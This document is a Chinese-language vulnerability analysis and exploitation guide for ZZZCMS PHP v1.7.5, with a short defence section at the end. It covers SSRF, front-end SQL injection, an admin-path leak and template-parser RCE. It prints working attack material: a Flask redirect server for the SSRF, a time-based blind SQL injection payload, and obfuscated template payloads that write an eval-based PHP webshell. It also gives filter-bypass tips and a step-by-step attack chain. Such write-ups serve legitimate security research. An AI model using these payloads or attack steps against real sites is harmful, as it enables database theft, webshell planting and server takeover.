zzzcms(php) v1.7.5 前台SQL注入及其他
字数 1392 2025-08-25 22:58:20
ZZZCMS PHP v1.7.5 安全漏洞分析与利用指南
0x01 前言
本文档详细分析ZZZCMS PHP版v1.7.5版本的安全漏洞,包括SSRF、前台SQL注入、后台地址泄露和后台RCE漏洞。这些漏洞在之前的版本中可能已被修复,但在v1.7.5中仍然存在或出现了新的变种。
0x02 SSRF漏洞分析
漏洞位置
plugins/ueditor/php/controller.php 文件中的远程图片下载功能
漏洞原理
- 用户输入的POST参数经过
safe_url函数处理后传入down_url函数 down_url函数逻辑:- 获取URL中的文件名和后缀
- 实施文件名后缀白名单限制
- 使用
readfile获取远程资源(支持file协议)
限制与绕过
- 直接下载webshell不可行(后缀限制)
- SSRF利用需要借助301/302跳转
- 不支持
file://协议的直接利用
利用示例
搭建一个提供301跳转的HTTP服务器(Python Flask示例):
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/1.txt')
def index():
return redirect('http://www.net.cn/static/customercare/yourip.asp', code=301)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000)
0x03 前台SQL注入漏洞
漏洞位置
plugins/sms/sms_list.php 文件中的id参数处理
漏洞调用链
- 用户POST输入的
id参数 - 调用
db_delete函数删除指定ID数据 db_delete调用db_cond_to_sqladd处理条件变量- 最终传入
db_exec执行SQL语句
关键函数分析
db_cond_to_sqladd函数处理流程:
- 参数为数组时进入第一个处理分支
- 如果
id也是数组且不存在key为0的元素,进入第二个处理分支 - 关键点:键名
$k1直接拼接到SQL语句中,未经过滤
漏洞验证
构造特殊POST请求,观察SQL语句回显:
POST /plugins/sms/sms_list.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
id[key]=value
利用方法
使用BENCHMARK函数构造时间盲注Payload获取数据库信息:
id[1 AND (SELECT IF(SUBSTRING(user(),1,1)='r',BENCHMARK(5000000,MD5(NOW())),0))]=1
0x04 后台地址泄露
泄露文件位置
plugins/webuploader/js/webconfig.php
泄露信息
- 直接回显
zzz_config.php中的敏感信息 - 暴露管理后台的真实路径(无需猜测或爆破admin加三位数字的组合)
0x05 后台RCE漏洞
漏洞背景
参考v1.7.3版本的CVE-2019-17408,在v1.7.5中尝试修复但过滤不彻底
关键函数
parserIfLabel函数是漏洞触发点
历史Payload(已失效)
- 简单assert执行:
{if:assert($_request[phpinfo()])}phpinfo();{end if} - 文件写入:
{if:1=1);file_put_contents(strtr("1.p*p"h"),strtr('<?*h*', "*", "p").strtr('ev*l(', "*", "a").hex2bin('24').strtr('_P*ST[1]);', "*", "O")); //} {end if}
v1.7.5修复情况
- 增加了更多过滤规则
- 黑名单方式存在纰漏,仍可绕过
绕过建议
- 分析新增的黑名单规则
- 寻找未被过滤的特殊字符或函数组合
- 尝试编码/混淆技术绕过过滤
0x06 综合利用思路
-
信息收集阶段:
- 访问
plugins/webuploader/js/webconfig.php获取后台地址
- 访问
-
权限提升:
- 利用前台SQL注入获取管理员凭证
- 或通过其他方式获取后台访问权限
-
最终利用:
- 登录后台后尝试RCE漏洞绕过
- 结合多个漏洞实现从外网到内网的穿透
0x07 防御建议
- 对所有用户输入进行严格过滤和参数化查询
- 限制远程文件下载功能,禁用危险协议(如file://)
- 移除或保护敏感配置文件
- 完善模板解析函数的安全过滤机制
- 升级到最新安全版本
附录:关键代码片段
SSRF相关代码
// plugins/ueditor/php/controller.php
$url = safe_url($_POST['url']);
down_url($url);
function down_url($url) {
// 获取文件名和后缀
// 白名单检查
readfile($url); // SSRF触发点
}
SQL注入相关代码
// plugins/sms/sms_list.php
$id = $_POST['id'];
db_delete('sms', $id);
// db_cond_to_sqladd函数关键部分
if (is_array($where)) {
if (is_array($k1) && !isset($k1[0])) {
// 键名直接拼接
$s .= "$k1 $v1";
}
}
RCE相关代码
// parserIfLabel函数过滤逻辑
$pattern = '/\b(assert|file_put_contents|eval|system|exec)\b/i';
// 新增了更多黑名单过滤